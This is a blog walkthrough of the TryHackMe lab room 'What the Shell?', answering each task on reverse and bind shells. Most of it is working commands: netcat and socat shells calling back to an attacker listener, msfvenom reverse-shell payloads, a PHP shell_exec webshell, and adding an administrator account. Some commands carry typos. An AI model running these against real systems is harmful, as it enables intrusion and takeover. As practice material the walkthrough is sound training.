The Dutch Hacker
What the shell - tryhackme

What the Shell? on Tryhackme

This is the write up for the room What the shell? on Tryhackme and it is part of the complete beginners path

Make connection with VPN or use the attackbox on Tryhackme site to connect to the Tryhackme lab environment.

Tasks What the shell

Task 1

Read all that is in the task and press complete

Task 2

Read all that is in the task and press complete

Task 3

3.1 Which type of shell connects back to a listening port on your computer, Reverse (R) or Bind (B)?

Answer: R

3.2 You have injected malicious shell code into a website. Is the shell you receive likely to be interactive? (Y or N)

Answer: N

3.3 When using a bind shell, would you execute a listener on the Attacker (A) or the Target (T)?

Answer: T

Task 4

4.1 Which option tells netcat to listen?

Answer: -l

4.2 How would you connect to a bind shell on the IP address: with port 8080?

Answer nc 8080

Task 5

Read all that is in the task. Do not forget to take notes

5.1 How would you change your terminal size to have 238 columns?

Answer stty cols 238

5.2 What is the syntax for setting up a Python3 webserver on port 80?

Answer sudo python3 -m http.server 80

Task 6

Read all that is in the task

How would we get socat to listen on TCP port 8080?

Answer:  TCP-L:8080

Task 7

7.1 What is the syntax for setting up an OPENSSL-LISTENER using the tty technique from the previous task? Use port 53, and a PEM file called “encrypt.pem”

Answer socat OPENSSL-LISTEN:53 FILE:tty,raw,echo=0,cert=encrypt.pem,verify=0

7.2 If your IP is, what syntax would you use to connect back to this listener?

Answer  socat OPENSSL:,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

Task 8

8.1 What command can be used to create a named pipe in Linux?

Answer: mkfifo

Task 9

9.1 Generate a staged reverse shell for a 64 bit Windows target, in a .exe format using your TryHackMe tun0 IP address and a chosen port.

Command is

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<YOUR MACHINE IP> LPORT=4444

9.2 What command would you use to generate a staged meterpreter reverse shell for a 64bit Linux target, assuming your own IP was, and you were listening on port 443? The format for the shell is elf and the output filename should be shell

To see all posible shells type in

msfvenom --list payloads
Answer:  msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell LHOST= LPORT=443

Task 10

10.1 What command can be used to start a listener in the background?

exploit -j

10.2 If we had just received our tenth reverse shell in the current Metasploit session, what would be the command used to foreground it?

Answer: sessions 10

Task 11

Read all that is in the task and press complete

Task 12

Read all that is in the task and press complete

Task 13

Follow along with all the task giving to you. Start up the Linux box attached to task 14

13.1 Try uploading a webshell to the Linux box, then use the command: nc <LOCAL-IP> <PORT> -e /bin/bash to send a reverse shell back to a waiting listener on your own machine.

On your terminal type in

nc -lnvp 4444

Open an other terminal and ssh in to the linux machine with the credentials given toyou in task 14

ssh shell@machineip

Once you are in type in the command

NC <yourmachineip> -e /bin.bash

Go back to your terminal where you opened the listener and see the shell appear. You can stabilize it by entering the following command

python3 -c 'import pty;pty.spawn("/bin/bash")'

13.2 Navigate to /usr/share/webshells/php/php-reverse-shell.php in Kali and change the IP and port to match your tun0 IP with a custom port. Set up a netcat listener, then upload and activate the shell.

You can upload to this server by navigating to http://<MachineIP>

Copy the file to you Downloads directory by entering the following command

cp /usr/share/webshells/php/php-reverse-shell.php ~/Downloads

Now we can edit it. Navigate to the downloads directory and type in

nano php-reverse-shell.php

Change the IP and port

What the Shell webshell

In a new terminal stat an netcat listner by typing

nc- nlvp 1234

Now upload the php file by goin gin fire fox to

What the Shell upload

Click on the link and check your terminal where the listner is

What the Shell

13.3 Log into the Linux machine over SSH using the credentials in task 14. Use the techniques in Task 8 to experiment with bind and reverse netcat shells.


run below command on attacker’s terminal

   nc -lvnp 4444

run below command on target’s terminal 

  nc <tun0-ip> 4444-e /bin/bash


run below command on target’s terminal

  nc  -lvnp 4444-e /bin/bash

run below command on attacker’s terminal

 nc <target-ip> 4444

13.4 Practice reverse and bind shells using Socat on the Linux machine. Try both the normal and special techniques.


run below  command on attacker’s terminal to start a socat listener 

socat TCP-L:4444 -  

run below command on target’s terminal to connect back to socat listener 

socat TCP:<tun0-ip>:4444 EXEC:"bash -li"  


run below command on target’s terminal

 socat TCP-L:4444 EXEC:"bash -li"

run below command on attacker’s terminal

 socat TCP:<ip>:4444 - 


run below command on attacker’s terminal

socat TCP-L:4444 FILE:`tty`,raw,echo=0  

run below command on target’s terminal

socat TCP:<tun0-ip>:4444 EXEC:"bash -li",pty,stderr,sigint,setsid,sane  

13.5 Look through Payloads all the Things and try some of the other reverse shell techniques. Try to analyse them and see why they work.

Press complete

13.6 Switch to the Windows VM. Try uploading and activating the php-reverse-shell. Does this work?

Terminate the linux machine and boot up the windows machine attached to task 15

Upload the php shell we have done for the Linux version. After browse press the submit button. Start the nc listener again

nc- nlvp 1234
What the Shell
Answer No

13.7 Upload a webshell on the Windows target and try to obtain a reverse shell using Powershell.

Create a new file and call it shell.php and add the following to that file

 <?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

Now run the following code in the browser. Do not forget to change the IP. First one change it tot he machines IP as there is where the php file is and the second one is your machine
What the Shell listner

13.8 The webserver is running with SYSTEM privileges. Create a new user and add it to the “administrators” group, then login over RDP or WinRM.

Now that we have the shell we can type in the following command

net localgroup administrators USERNAME /add

13.9 Experiment using socat and netcat to obtain reverse and bind shells on the Windows Target.


 start a netcat listener in a terminal

nc -lvnp 4444

login to windows machine using RDP.And run the below command in cmd

  nc <tun0-ip> 4444 -e "cmd.exe"


 start a netcat listener on cmd

nc -lvnp 3333 -e "cmd.exe" 

 run below command on attacker’s terminal

 nc <target-ip>  3333


 run below command on attacker’s terminal

socat TCP-L:8888 -

run below command on target’s cmd

 socat TCP:<tun0-ip>:8888 EXEC:powershell.exe,pipes 


run below command on cmd to start a socat listener

      socat TCP-L:4444EXEC:powershell.exe,pipes

run below command on attacker’s terminal

     socat TCP:<target-ip>:4444- 

13.10 Create a 64bit Windows Meterpreter shell using msfvenom and upload it to the Windows Target. Activate the shell and catch it with multi/handler. Experiment with the features of this shell.

Type in the following

msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o shell.exe LHOST=<tun0-ip> LPORT=4444

Start a listener in an terminal by typing

use multi/handler
set LHOST=<tun0-ip> ,
set LPORT=4444
set payload windows/x64/meterpreter/reverse_tcp

Now the listner is starten.

Login with RDP to the machine

xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:<IP OF MACHINE> /u:Administrator /p:’TryH4ckM3!’

Copy the shell.exe and run it


Now press complete on task 14 and 15 as we are now done

Great designs and products for your hacker’s cave

You can get these designs on more than 70 products ranging from

  • T-shirt
  • mugs
  • mousepad
  • baseball caps
  • Metal prints
  • Art Board

And much more.

Most Popular Post

Sign Up

Signup today for free and be the first to get notified on new updates.
* indicates required

Follow Me

Most Popular Post

Contact Us